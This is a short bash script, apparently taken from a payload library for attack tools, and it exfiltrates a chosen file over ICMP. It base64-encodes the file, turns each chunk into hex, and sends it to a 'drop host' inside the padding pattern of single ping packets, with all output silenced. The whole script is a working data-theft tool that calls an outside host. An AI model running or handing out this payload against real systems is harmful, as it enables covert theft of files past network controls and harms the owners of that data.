Path: blob/master/payloads/library/exfiltration/Lin_ICMP-Data-Exfiltration/payload.sh
2968 views
#!/bin/bash12set -eo pipefail34readonly TARGET_FILE="${1}"5readonly DROP_HOST="${2}"67set -u89usage() {10echo "${BASH} ./payload.sh <TARGET_FILE> <DROP_HOST>"11}1213if [ -z "${TARGET_FILE}" ]; then14echo "No TARGET_FILE has been defined."15usage16exit 217fi1819if [ -z "${DROP_HOST}" ]; then20echo "No DROP_HOST has been defined."21usage22exit 223fi2425IFS=$'\n'26for chunk in $(base64 --wrap=16 "${TARGET_FILE}"); do27hex_digits=""2829for ((hex_iterator=0; hex_iterator<"${#chunk}"; hex_iterator++)); do30hex_digits+="$(printf "%X" \'"${chunk:$hex_iterator:1}")"31done3233if [ "${hex_iterator}" -lt 16 ]; then34sign_required="$((16 - hex_iterator))"3536for ((sign_iterator=0; sign_iterator<"${sign_required}"; sign_iterator++)); do37hex_digits+="3D"38done39fi4041ping -c 1 -p "${hex_digits}" -q -s 32 -W 1 -4 "${DROP_HOST}" &> /dev/null42done434445